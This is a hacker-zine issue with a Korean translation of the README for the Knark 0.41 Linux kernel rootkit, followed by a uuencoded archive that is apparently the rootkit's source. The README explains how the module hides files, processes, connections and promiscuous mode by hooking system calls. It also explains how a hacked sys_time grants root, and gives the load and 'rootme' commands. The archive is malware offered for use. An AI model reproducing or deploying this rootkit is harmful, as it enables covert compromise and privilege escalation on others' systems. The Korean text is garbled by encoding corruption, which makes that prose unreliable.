B - 4 - B - 0 - B - 4 - B - 0 - B - 4 - B - 0 - B - 4 - B - 0 - B - 4 - B - 0 [!@#$#@!][!@#$#@!][!@#$#@!][!@#$#@!][.07][!@#$#@!][!@#$#@!][!@#$#@!][!@#$#@!] B - 4 - B - 0 - B - 4 - B - 0 - B - 4 - B - 0 - B - 4 - B - 0 - B - 4 - B - 0 Knark - Kernel Based Linux Rootkit /** ¿ªÀÚÁÖ : óÀ½À¸·Î ¹ø¿ªÀ» ½ÃÀÛÇØº¾´Ï´Ù. Ʋ¸°ºÎºÐÀÌ ÀÖ´Ù¸é ´©±º°¡ ¼öÁ¤ÇØ Áֽñæ.. »ý°¢º¸´Ù ½±Áö ¾Ê³×¿ä. translated by Á¤¿ëÁø written 2003. 5. 26 **/ ½Å°æ(ãáÌè;¿ªÁÖ-»çµµ½Å°æ°°Àº Á¾±³ÀûÀÎ ±âµµ¹®°°Àº°Í)Àº ´ç½Å¿¡°Ô ÃÊ·¡ÇÑ´Ù...KNARK V0.41!!! (¿ø¹®:Creed brings you... KNARK V0.41!!! ) Knark´Â Linux 2.1-2.2(±×¸®°í ¸î¸îÀÇ 2.3 Ä¿³Î)ÀÇ Ä¿³Î¿¡ ±âÃÊÇÑ "rootkit"ÀÌ´Ù. ÀÌ packageÀÇ Á᫐ knark.c´Â ¾ÇÀÇÀûÀÎ ¸î°³ÀÇ ½Ã½ºÅÛ ÄÝ¿¡ Æ÷ÀåµÈ lkm(ÀûÀç°¡´ÉÇÑ Ä¿³Î ¸ðµâ)À» Æ÷ÇÔÇÑ´Ù. programs/files¿¡ ¾ø´Â °ÍÀº ºÒ¹ýÀûÀÎ ¹æ¹ýÀ̳ª ¾î¶² Á¾·ùÀÇ ¼Õ½ÇÀ» ¿øÀÎÀ¸·Î »ç¿ëµÈ knark ÆÐŰÁö ¾È¿¡ Æ÷ÇÔµÊÀ» ±â¾ïÇ϶ó. 0.41¿¡¼­ ¹Ù²ïÁ¡: /proc¾È¿¡ ÀÚ±â»ý¼º ÆÄÀÏ Ãß°¡, ÇìÇìÇì! :-) ¸î°¡Áö Á¤ÀÇ(define)À» knark.c¿¡¼­ knark.h·Î À̵¿ ¸î°¡Áö ¸Þ¸ð¸® ³¶ºñ ¼öÁ¤ (´õ ¼öÁ¤ÇÒ°ÍÀÌ ÀÖÀ»°Å¶ó°í È®½ÅÇÔ) *inode* functionÀÇ ·Îµå¿Í *file* ¸íÀ» º¯¼ö¸íÀ¸·Î º¯°æ ÆÄÀϸíÀ» /proc/knark/inodes¿¡¼­ /proc/knark/files·Î, ±×¸®°í »ý¼º ÆÄÀϸíÀÌ inode numbers/dev numbers ´ë½Å Ç¥½ÃµÇ°Ô º¯°æ MakefileÀÌ knark.c¿Í °°ÀÌ °æ°í ¾øÀÌ ÄÄÆÄÀÏ µÇµµ·Ï º¯°æ. knark_read()°¡ knark°¡ ¼û°ÜÁ® ÀÖÀ»¶§ Á¤»óÀûÀ¸·Î µ¿ÀÛÇϸé /proc/modules¸¦ »ý¼ºÇϵµ·Ï º¯°æ. ´ç½ÅÀÌ setuid ¹ÙÀ̳ʸ® ¾øÀÌ root¸¦ ¾òÀ» ¼ö ÀÖ°Ô sys_time¸¦ ÇØÅ·. knark.c¾È¿¡ inode function¾È¿¡ ÀÛÀº º¯È­(minor change) rootme.c°¡ sys_timeÀÌ »ç¿ëµÈ ÈÄ¿¡ ÀÛµ¿ÇÏ°Ô Ãß°¡µÊ. hidefileÀÌ hidef·Î º¯°æµÊ, ±×¸®°í unhidef(¼û°ÜÁöÁö ¾ÊÀº È÷µçÆÄÀÏ)ÀÌ Ãß°¡µÊ. ¾Ë·ÁÁø ¹ö±×: /proc/knark/filesÀº ¿ÀÁ÷ ÆÄÀÏ¿¡¼­ ÆÄÀϽýºÅÛÀÇ µð·ºÅ丮 Æ®¸®·Î º¸¿©Áø´Ù. /proc/ioports´Â /ioports·Î º¸¿©Áø´Ù. Ä¿³ÎÀº ¸ðµâÀÌ ÀûÀçµÇÁö¾ÊÀ»¶§(unloaded)µÉ¶§ ÆøÁÖ(crash)ÇÑ´Ù. ±×°ÍÀ» ÅëÇÏ¿© ±×°ÍÀÌ ·ÎµåµÉ¶§ ²Ï Àß ½ÇÇàµÈ´Ù. ´ç½ÅÀÌ ´Ù¸¥ °£¾ÇÇÑ ¹ö±×¸¦ ã¾Ò´Ù¸é À̸ÞÀÏ·Î ³ª¿¡°Ô ¾Ë·ÁÁÖ±æ ¹Ù¶õ´Ù. ¹«¾ùÀÌ Ä¿³Î ¾È¿¡¼­ knark.o°¡ ·ÎµåµÉ¶§ º¯°æµÇ´Â°¡? sys_getdents´Â /proc ¾È¿¡ ¼û°ÜÁø ÇÁ·Î±×·¥°ú ¼û°ÜÁø ÇÁ·Î¼¼½º µð·ºÅ丮¾È¿¡ ¼û°ÜÁø ÀÓÀÇÀÇ ÆÄÀϵ鿡 ÀÇÇØ ÇØÅ·µÈ´Ù. sys_killÀº È÷µç ÇÁ·Î¼¼½º°¡ ½Ã±×³Î 32·Î ¼û°ÜÁöÁö ¾Ê°í ½Ã±×³Î 31ÀÌ º¸³»Áú¶§ ¼û°ÜÁø ÇÁ·Î¼¼½º°¡ ÇØÅ·µÈ´Ù. sys_read´Â ÀÓÀÇÀÇ ÆÄÀÏÀÇ ÀÓÀÇÀÇ ºÎºÐÀ¸·Î ÇØÅ·µÈ´Ù.(¿ø¹®:sys_read is hacked to hide arbitrary parts in arbitrary files.) À̰ÍÀº ¾ÆÁ÷ ½ÇÇàµÇÁö ¾ÊÁö¸¸, ÇöÀç ÀÌ Æ¯Â¡Àº ¹«½ÃÇÒ ¼ö ¾ø´Ù. Áö±Ý /proc/modules¾È¿¡ ¼û°ÜÁø MODULE_NAME°ú /proc/net/[utp|tcp] ¾È¿¡ NETSTATHIDE°¡ ¸ðµÎ ±×·¸°Ô µÉ °ÍÀÌ´Ù. sys_ioctlÀº SIOCGIFFLAGS°¡ ¿ä±¸µÉ¶§ ³×Æ®¿öÅ© ÀåÄ¡¿¡ ¼û°ÜÁø IFF_PROMISC Ç÷¹±×¿¡ ÇØÅ·µÈ´Ù. sys_fork´Â ¼û°ÜÁø ÇÁ·Î¼¼½ºÀÇ ¼û°ÜÁø ÀÚ½Ä(child)¿¡ ÇØÅ·µÈ´Ù. sys_cloneÀº fork¿Í °°ÀÌ µÈ´Ù. sys_query_moduleÀº knork.c°¡ ÄÄÆÄÀϵǾî HIDEMODULE¿¡ Á¤ÀǵǾî ÀÖ´Ù¸é ¼û°ÜÁø ¸ðµâ°ú ±×°ÍÀÌ unload¸¦ ¹æÇØÇÏ¿© ÇØÅ·µÈ´Ù. sys_timeÀº ±×°ÍÀÇ º¯¼ö¿Í °°ÀÌ TIMEROOTNUMÀÌ È£ÃâµÉ¶§ ´ç½Å¿¡ ÀÇÇØ ÁÖ¾îÁø *uid¿Í *gid 0¿¡ ÀÇÇØ ÇØÅ· µÇ¾îÁø´Ù. ÇÁ·Î±×·¥ rootme.c´Â Ư¡¿¡ »ç¿ëµÈ´Ù. ¼û°ÜÁø µð·ºÅ丮°¡ »ý¼ºµÉ¶§, /proc/knark°¡ ºÒ·¯Áø´Ù. ´ç½ÅÀº /proc/knark/pids¾È¿¡ ¼û°ÜÁø ÇÁ·Î¼¼½º¿Í /proc/knark/files¾È¿¡ ÀÐÀ» ¼ö ÀÖ´Â ¼û°ÜÁø ÆÄÀϵ鿡 ´ëÇÑ Á¤º¸¸¦ ÀÐÀ» ¼ö ÀÖ´Ù. ´ç½ÅÀº knark.h ¾È¿¡ MODULE_NAMEÀ» º¯°æÇϹǷΠ/procÀÇ À̸§À» ¼öÁ¤ÇÒ ¼ö ÀÖ´Ù. ³ª´Â ¼­Åõ¸£´Ù! ¾î¶»°Ô ³­ ÀÌ lkmÀ» »ç¿ëÇÒ±î? Á¦ÀÏ ¸ÕÀú, ´ç½ÅÀÌ ¸ðµâÀÇ unload¸¦ »ç¿ëÇϰíÀÚ ÇÑ´Ù¸é Makefile·ÎºÎÅÍ -DHIDEMODULEÀ» Á¦°ÅÇØ¾ßÇÑ´Ù. (±×·¸Áö¸¸, °¡²û knark.o¸¦ unloadÇÒ ¶§ Ä¿³ÎÀº crashÇÑ´Ù.) then type: make modprobe ./knark.o *done* ´ç½ÅÀÌ root°¡ ¾Æ´Ï°í root ±ÇÇÑ(priv:private:»çÀ¯ÀÇ)À» ¿øÇÒ¶§, ./rootme /bin/sh¸¦ type ÇÑ´Ù. (´ç½ÅÀÌ /bin/sh¸¦ ÁÁ¾ÆÇÏÁö ¾Ê´Â´Ù¸é, ´Ù¸¥°Íµµ °¡´ÉÇÏ´Ù.) hidef¿Í ¼û°ÜÁø ÆÄÀÏ unhidef¿Í unhideµÈ °Íµé(¿ø¹®:Hide files with hidef and unhide them with unhidef.). ÇÒ ¼ö ÀÖ´Ù¸é ¿¹Á¦·Î º¸¿©ÁØ°Í ¿Ü¿¡ °Íµµ ½ÃµµÇ϶ó;-). ½º´ÏÆÛ´Â promisc-mode È®ÀÎ(checking)¿¡ °ËÃâ µÉ ¼ö ¾ø°í ¼û°ÜÁø µð·ºÅ丮 ¾È¿¡ ÆÄÀϵéÀº ½º½º·Î µð·ºÅ丮ó·³ °¨Ãß¾îÁö´Â °ÍÀ» ±â¾ïÇ϶ó. lkmÀ» ¸î ¹øÀ̰í load¿Í unload Çϸé ÇÁ·Î¼¼½º°¡ Á¤ÁöÇϰí Ä¿³ÎÀÌ crashµÉ ¼ö ÀÖ´Ù. (¸¸¾à ÇÒ ¼ö ÀÖ´Ù¸é ¹ö±× ¼öÁ¤ÇÏ¿© ³ª¿¡°Ô º¸³»´Þ¶ó.) À̰ÍÀº º£Å¸·Î µî·ÏµÇ¾ú´Ù! ±×°ÍÀº ´ç½ÅÀÇ ½Ã½ºÅÛÀ» crash½Ãų ¼ö ÀÖ´Ù! ³ª¸¦ ºñ³­ÇÏÁö ¸¶¶ó!(ÇìÇì). ±×¸®°í ÀÌ ÇÁ·Î±×·¥Àº ºÒ¹ýÀ¸·Î »ç¿ëÇÏÁö ¸»¶ó. email: creed@sekure.net ircnet: #linux.se, #hack.se (don't ask me for the key if it's +k) efnet: #hack.se 3<---3---<---3<---3---<---3---<---3---<---3<---3<---3<---3<--- begin 600 knark-0.41.tgz M'XL(".3=R3<``VMN87)K+3`N-#$N=&%R`.P\_5?;1K;]%?T5$W(:;&,;&PAI M(>0M!2=A"R0/2'?WI1P?(8ULU;;D2C*$U[!_^[L?,]*,)6.:;?;M.V_=!EN: MF?L]]]ZY,](H/Q??"/QTYK[5A=AYL?6B\WQ[<^>%$-U. M=V?G&_'\ZY+%GUF:N8D0WR1QG#W4;UG[_]'/B/1/?]O>5\+1[71VMK<7Z7_K M^8L7N?ZW=G:V0?_=YR^ZWXC.5Z+'^OP_U_]&PQ$-H?3?%%,WR40 M>`94O1RC/C9`$FD81^WAJU+3)/9G8UG5,I))),?84FI*O:'TJ\;`=,FJ[OMA M(J/*EB"MNAL&"VA5G%0.FKCC<>Q5M_2#?CG`;A*[AED8^9ZGDQ3&]PJ3ZSA*MSS91!&4KQ_W3\^^^GXXOB'DY[H?`+? M2!_'0<&&'NAXC-WZBKRM6AAE33&0F0\4@3W/Z#KPP6ZS9.9E@FD5C2;^FNH. M7CR+LOH"H)L,=`2FV13T#7.(X&,)&3Q81U&01,E)$:F,A! MNJR[!X#EX_IGX80XP6_^VR>1(U=/PP!T*]X>'_5.WQU]..DM@/*C(!S+5-^)J0M\^_+CZ<%?^Q>]P_/>9?_U M\4GOXHH[,>TP$.RTJL_]WAPI06I3@GB#?@1T*+2+"&\$>&7B..K]1"A$8Q2D M>P[;+(]SLSBL,6TPO.X4N&!:B'W1*9B>S,9PHVNR,\T2OJ0_8#0UN`.=`-0> MMX)5).OK=>X%OULM8P!,U+&D(:]H3)WN_N:LA$$-1XN78JVS)CY_)ECBE5C[ M?JWNK&`GH&X&L[+5@XAP<++GK""YZ_N"Q[5P7!U2`:`9VI#R!I`.S*P8--P7 ME"AP\`5B`@&1<;&$KKUX>J=%E'AZBOEI9L]A$)-IH9.NQ@B_-VT$U"R>/=-M)#>P4?^<3&^EY)G65V,.(&O89B+@T4]ZTWQYO7[_H^]\[/> MB9H10%P9U[SBEA#7>N4K>>:,5W7AJ%B$C8FN%"R;HM,4\\$0W+9B MD@)KO;X4%N=^#X)B%ZIAF6I?7R];XSR21QDG9'[+C?./,SR$%LY%WY!$+T+P M3@Q9A.#\R>TB2V&AQWTF;&6.Z?#J<5Y4\8GJ9BT)I<]JKD-CYAF)TV*!^JEM MC+D'FA,RXC&M_&&/E)LG]"S,=:]2?-QDR2\W6Q`3(J+?M@P?[9=)EUZU5:=H:51M(DJRAR(2,9^7(UX[W?7^E-+)V^UL`T*M5R(OG&\PK^$%DU0W1?(2;A&EC M3=W%1!]6%L]TZWKWJFD@K9-8V`)SLT`K7"(7=M>F!UI?G_-WMC^:10]ZI#_$ MCW^);REYE2'#=CH54:3"C=F][#N*CI;H7NU5CS%Z M<`0P(AA9C=%!!;!1D$BYL,]>22BM"B'<6V;7ZLY;FJZ-636KJH*L*L>:O515 MUJI/%-:(RYQ2K%-6[-/W7-G"\&B(S!JGJ<`,L+)AFI"E%CES8SDZVI(!E'R\.5_#/PKS@VU8S585FG[LI#M MF],2[?+]^;O#_OF[=Y>P;'N'D>/)Z<&?WYT;'7$&08,VC5/H5VH&0%VP,-2/ ME6@7I9^7EB+`\V,]5D<]Y-58&&D%U*GP1%8M:J1[H(\*`HIYQ)M7^<3GS\[* MBIHFY2*`60A3$,AYPX=&%L-,SV,@RSV0B@-`%=.]3TI6$PP:J4C58@WBV$1Z M'!Q7S%(3"F5]KD]34-#G4O7*BA='61C-=.B]5^&5@L,*6F%XM*V8XUHWGZL&\/Z`F;EZ&**8N!I]BZMH9I*6GW.ZI M]N"LX$#+IJBF5*YBJZ*T`DSHP%JP,Y7F5JJK)17E)"+;YI)IX^MWE95@`*:<%\=OB@T]H+"XG1>\A`[KI;T1PLY;;L*$_3LK M5JW>Q?GA6YN\7/`S$!G0E5_+&=4K\Z'O>^>G9<[V;<[JRRMAM+BPZG[[XN\/ M%\Q*RTK:V:GI@$HA4^\`T@9@5>C4@1)B_Z_XMRI\&J&D:FFJHA-*;>*C]GX\ M.SC_L=\[.;[L]0]/CW)77@J':BN*MCZ14MZE1)_^!/NBW"<^"_/=X9OCUZ]/ M#MY<%%X6?64_2.))?Y;*I/8,R&^*&N\*U0%64]BE,F*RKE-RN&K#OS[\F^&/ M6;\0/*#J0_0[/;XXW#-P93%CLG`PVD68[G-;R45^7VUI5BROL%(SJ=7+J&6) M0)YZD[^IR@U8J[=AY@UK9".L*PZ5G@M&R=K$;31:W>YJ/LP/EU M(ETLY)=A?3A;!,U8MFK/J%#'XH"& M>ZSYI.(\Q=A/?B`K59EFMPE_-N$/YP[+\M/JQ)$W>I$"PFWFC`\GCGF/+TT> M-?C*U._SY^J<[PGG?)6$+,PT>9?V`C,NH117V>^L=]F_/'S_J'X?CMZ;6XH/ M(E99&JL)!,6W^V<'I^!\C6PI[P`(+BX/+M&8*6WBC!;2T2XT3C>-!0;J&_ZO ML>'0>(A$A2=KX)"_XY=R-_Q7[?%!(U9G?H[6*(AW(88#H#HF>EW,39/*R345"0#RW!X+\,!U M'OSQDCBFW[K2P[Y&UZIX,]]P)K22,Q:+Q#UZ#%S16A,5ST.LK-#Y"=5B_IY; M,3894"X*F%HU/@FAO1`Z#9W]U$A/N?>P)8!9BT6#B5I]+YRO".#^@0,X^BS? M#Q]>]T^.3X\O1>W]P9M>_^+XOWI`['>P/+&#;Q_R]K1F1%[^V<"SQUD3C[#V M\=AMD$H^T43;'\I.\7(6X8'2/VC7N[MLSUN5@*<)H`[8X:^*WH?C(_'^^.CG M[/#=Z>G!V='/T:III7-'(Q;L_&OPZQ;\=2H.K'[[W!??^C]GWZ8`&]G'[@P. M_553Y*J&91S*_0XAT(OP+A5@Q*\H2H[ZK#?&[_P,.]5C[PT?BOTWQ6#J?<[<^ MBPCRU@%>B7'*ZO1O\E]L'&Q6NUGWKGL+H_J^L%WKS=Z\H:'AWWPZ3/ M2U^UT11B@&8+[C39O?,ZW`BW]1:LP,SP2_TN^L>OCX[//\/W^8M^;PDA&*'F*=F&^8[W5PN$Y[TW&F$U(OS"T,*_GLW%P.5TZ.TI MBY#G0`@U_#&4$*CEI-#TJR*%IOX?0PKA8%)H;S(*,YW.8L:JG1NX6V.WN.KX M5'[2=M'IJ:#8'!2#&&:)3)(XL8XEZ:(0]"4&'L9CNGJ27P(+A33#,A9?QC$X M[F>YG>MC2_F.QGXQ!]KC^+;82IV#EO?*H:$IU1_9EY3]V,ZD#I.QTKX7QAC[ M_/S%WR[R5K67^5`/%4%'2VO&CJV+(9.K3ET MO*J"3B71:O#4M!@^-^<(Z+(*`VZ)5"/`EL7PJ;7(B.&J"CKM/U2#IZ;%\+DY M1T"751APO5Z-`%L6PZ?6'#Q>53V#8*$R%YW5*,T>BU%;O7(2S+N+GUC(!5"L M-J[FBS/OE60'YGEE4Z7T*KZ8=H>FP'AQ$[NUWCR(_MVR4 MX<5+CMKTD4N\7EAMY&E,]ER"8LF M\R.F8^5\7SPC[QW]_*_Y_/?P*SUC_/#SWV)KZ_F.>OY[>V=SJTO/?V__^_GO M?\K'?/Y[^`7/?P]ASLD$G1`]IHSC$IE6PVA_Z2/B%S'$2R0M9;BP6O1@30@K M1'ZFF_:4\-'M,!JD8A(.AIF@+3=\MOM8N/Y-Z$EQ%\\0&&2^$%UN),.910I$ M^U$/70<1SL^^VE#,"X'YC?R.M3(4JR2]5<>!F7A(^-0CYP%2I;@@@=&)3R4\ M%;5K^`@[7M,9(4RDVTB-QF2L"]7SQHSGU/T4PGH!G^BZIL?D\ MKH1?CTT4`\%$2\1U11TO^6\QR08NK M@T1.1>MF=2`="9G&8+#; M6]]_UQ6USB=LQ54.W:B;5!@;71K*(FWQ@S_J_?#AC?-4\%5?+=;Z M?;@E%%Q]#A5`U())1B<+TG:[71=4X1KQS:=/Z7X=!M+NWF/&!ZI$ED(T3B`C M*`'"F`&A@^`M@Z9"#/%[$0X@!*4XPU`W&[P5+M3I'(GZSH9MF)"W\6SLHSR] M0OJ64*TS-5M=\WY^=Y-P?L`#[;3@`",F+08^$@!S)PS40E[<#L'LPVPM%>,8 MW)7?GE,[N86A3"3T<(DH#]ON+!;F3I"`;03\ MD0X1SD1C`1NG-XISEWP,QFJ4&D](Y@I\*D0?:X9>PDT8-)O@44*@$3OQ]CA3 M6T%+?F)!=$ERK!W7=`NB%DZF8XE`@<%E+.DF+9MMK?4J+3>=KC2KU)*]9:4 MM'C]$'HQR"B+'%1UY19Y$X[Q34%.#=TXKH449)4IU=76^&WB3E/&KEZ]D;8= MYQS M=7PF4,*[SH&/R,!ERG'0`EHF<1;&RA\#!LJ%FN)M#_][(G9;=>IJ!VO340*F39'/@@FDO-=&(Q[Q:`L M#I(^!4W*O/D894,$D#43C:CE&S<)21>8NE+P;R#I#;XNH!`_E-X:*1Z['P)+ M0\V[I`W]`B=?.CD`,,3I%*P$I`/!T/61-#/V07(K;_3O@H!3=R0)1AKGDH+X M.R6E8VH2PQKBUDTBG`O%,.,(79TR"P"CZ&2S`W(\-*@$\V%*-49ZPG!H;3MO MP7A0"["0I]H?4$!Y/UC/0&8AL<@?A)6XZE.P44`@I M*\I89=%:4*>'EZ")P1`7`*F$]8P#0KC%FC._8"RNR"B=]S"M0-*0HV#>"6*& M#)'V5RA.OQ" MM[F,D=[W]@M$?0'8R-_1HH'?%T>1+(IOV^(`F;8>08RUE8RGZ&)>V58I%7`64>C=/;`H_2X#H`QI,1@G,+/25GQSQ6 MCG`2^>M,PLSQ%0+:*BG#]X;AF'WZO"K4.-X$(?;U&_&XOH)3#(&J?M;^0AF/ M,<%0+OB4CJ23&VC&""T.G!`/F^<>&2<".V6?K<*H7'*PTZR1,[-0#L(;*O.( M!GI01-C`PX4=8[IB-J`@.^;2';BB=KVFXA66/I.0>]592@(I+`9H.=`R+/P9 M,@'6FV%E2F$T/&);_$TY?[1P!PM,$#LXH%YC""A-C]S(V*/27CVR9[ID1Y7$ M>-9$Y5!:H*VN-[&9&ER`!U,]YPP^3R[P@WG$&*`\$6]ADOA8<..0PZ]U!$_U M.DRX(NCB^^82R$)`3:TC0['D^O/X7-1A\'V,,3)%"486.VPX5G5,O0>R:3K- M!>X>H3($1WE4R'*]8VUI&XI^;GY% M3#=HIG=M6K6@=$/L-@;#PA2&K&.T:6(SM0E-*O7+?OO.XSZ2/E:'U@V60Y'D MYN;F"3!TJG4>J+ MVYAH2.!?8VI%^V0RLI3LG!:,"F8QH7Q)9!=WFHH.PYN")`#$`,7@UW:7QP,G MFS]7SSMGV@2!FB>6C11FJZ#[T"@*+&4T51H"%-.JL&O,E9%#SZY"D(Z-&1;Z MB&-RP=E`X2N&03:`!4NL?:,%>ZUE8IE*:UN?I=-Z.O7K,I4O%]=7 MI/"U+/B`(QD:+L4HYF(6LV#U[+5O52HO:J>GK@U_.4H2KO1GN[;PM8Q(Y3BX MKL5Z+&!A[K<*BY"*K6VJW$Q@5%+@S_Q`\DY+:L^`30E\J]')[]"5+/)7.<+8 M^%M`K-6U`G;UUJN?_Y(9FNF_')DMM;&!_C>]PZ:R_WJ-5@OI_WZ[5=+_YP`^ M_Y?S_ZC\[TC1]5'8HY+!/]@3?"OYU#$W.-'4Y93AI*T7BU?E'0_]R6(UJ!/% M:W.#L]/;+(6^%X+8<"#(LTSZOBV>W#HO4](.L`Y%9>@79$3^/,IJPLME9P6& M.:%(8-!S=198N+[[^BWO8(=1NA3N00NCHV+VN/9=LARGPNFB"%%#Q8"@6QU4 MAL>R'"-(A'=L8^$;54B97[%$9>^":R&,WS(]Z]`SUZK`32%Y!`:IR?`TA_H* M@P!U5**)4%56B<]474F3=6WI(+@TP*J3>`H<1&2\ZW-#?0=-OG`G4?4=#LFI MF$$WWH"JKSCJ^*&8YI:GNSAD)G8K1`?=.%&#BEFU>M\_=WMGGRXY?$M01AKR MHZPY6-%Q]^QBVP8;IU7`65TXEI8S_'8Q0G[IA'=%HX2TV"HODYLX#:"Q?"^H M2H,6XM^F>"7D@?F_DF2VT\8F_6_?.S3\O]TF_:_5+/G_DU6S=%:)5Z:D;/KN?([9,!JK'L>Z6#X)Q@?H1!B=)PR-%I^$"A?2+!(*2$ M!37S'Q#R>0G6\]`/@_$>6_*47C0,0AQ]U*4QVHKL8G0JN8F%2M3.Q3BX)\,Z MX>@[M%JCD3GD2OUIE&0I,.ECX9I(94(